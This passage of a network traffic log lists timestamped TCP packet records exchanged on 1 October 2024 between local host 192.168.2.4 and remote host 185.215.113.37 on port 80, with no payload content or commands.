Oct 1, 2024 06:03:05.653244019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653256893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653275967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653289080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653304100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653323889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653342962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653367996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653400898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653413057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653448105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653451920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653491020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653496981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653527975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653541088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653568983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653578043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653604984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653625011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653650045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653652906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653685093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653701067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653712988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653728962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653743982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653772116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653776884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653783083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653824091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653825045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653857946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653873920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653887987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653901100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653922081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653935909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653949976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653964043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.653980017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.653992891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654012918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654026985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654045105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654057980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654077053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654088020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654108047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654118061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654144049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654158115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654175997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654186964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654207945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654223919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654236078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654252052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654268026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654278994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654300928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654310942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654331923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654344082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654367924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654383898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654401064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.654417038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.654448032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702260971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702290058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702326059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702337980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702347994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702377081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702389002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702420950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702433109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702455044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702470064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702487946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702501059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702519894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702528000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702553988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702584982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702589035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702593088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702620029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702629089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702653885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702660084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702687025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702704906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702719927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702728033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702754974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702760935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702789068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702795029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702816963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702831984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702855110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702868938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702924013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702934027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.702977896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.702981949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703020096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703032970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703063965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703074932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703095913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703108072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703126907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703145027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703159094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703185081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703191042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703203917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703233004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703259945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703296900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703306913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703339100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703344107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703378916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703413010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703445911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703458071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703476906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703488111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703520060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703524113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703557968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703573942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703599930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703605890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703649998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703655005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703686953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703717947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703718901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703733921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703752995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703764915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703784943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703795910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703824997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703833103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703864098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703876972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703897953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703911066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703939915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.703943968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703977108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.703982115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704009056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704020023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704041958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704051018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704072952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704082966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704108000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704119921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704138994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704149961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704173088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704183102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704204082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704215050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704235077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704250097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704268932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704277992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704298973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704313040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704332113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704336882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704365015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704374075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704400063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704405069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704431057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704442978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704463959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704472065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704494953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704505920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704528093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704538107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704562902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704571962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704597950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704607010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704628944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704646111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704660892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704668045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704693079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704699039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704725027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704729080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704756975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704773903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704788923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704794884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704819918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704829931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704853058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704863071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704885006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704896927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704935074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704946995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704963923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.704983950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.704996109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.705013037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.705029011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.705051899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.705060005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.705082893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.705092907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.705101967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.705125093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.705133915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.705159903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.705168962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.705194950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.705204964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.705298901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739556074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.739613056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.739614010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739646912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.739660025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739685059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739689112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.739722967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.739727974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739765882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739772081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.739811897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739820004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.739850998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739852905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.739885092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.739892960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739927053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739948034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.739989042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.739995003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740034103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740034103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740071058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740077972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740112066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740120888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740147114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740164995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740192890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740207911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740238905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740238905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740272999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740278959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740303040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740313053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740341902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740348101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740381002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740397930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740408897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740427971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740439892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740447998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740472078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740483046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740504026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740514994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740540028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740547895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740569115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740582943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740601063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740618944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740628004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740633965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740665913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740696907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740696907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740705967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740729094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740742922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740760088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740773916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740791082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740803003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740822077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740832090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740854025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740861893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740888119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740890980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740919113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740928888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740952969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740966082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.740984917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.740998983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.741018057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.741023064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.741061926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.789158106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789179087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789190054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789200068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789211035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789220095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789221048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.789231062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789242029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789248943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.789252996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789263964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789273977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789283037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789293051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789303064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.789304018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.789313078 CEST	80	49730	185.215.113.37	192.168.2.4
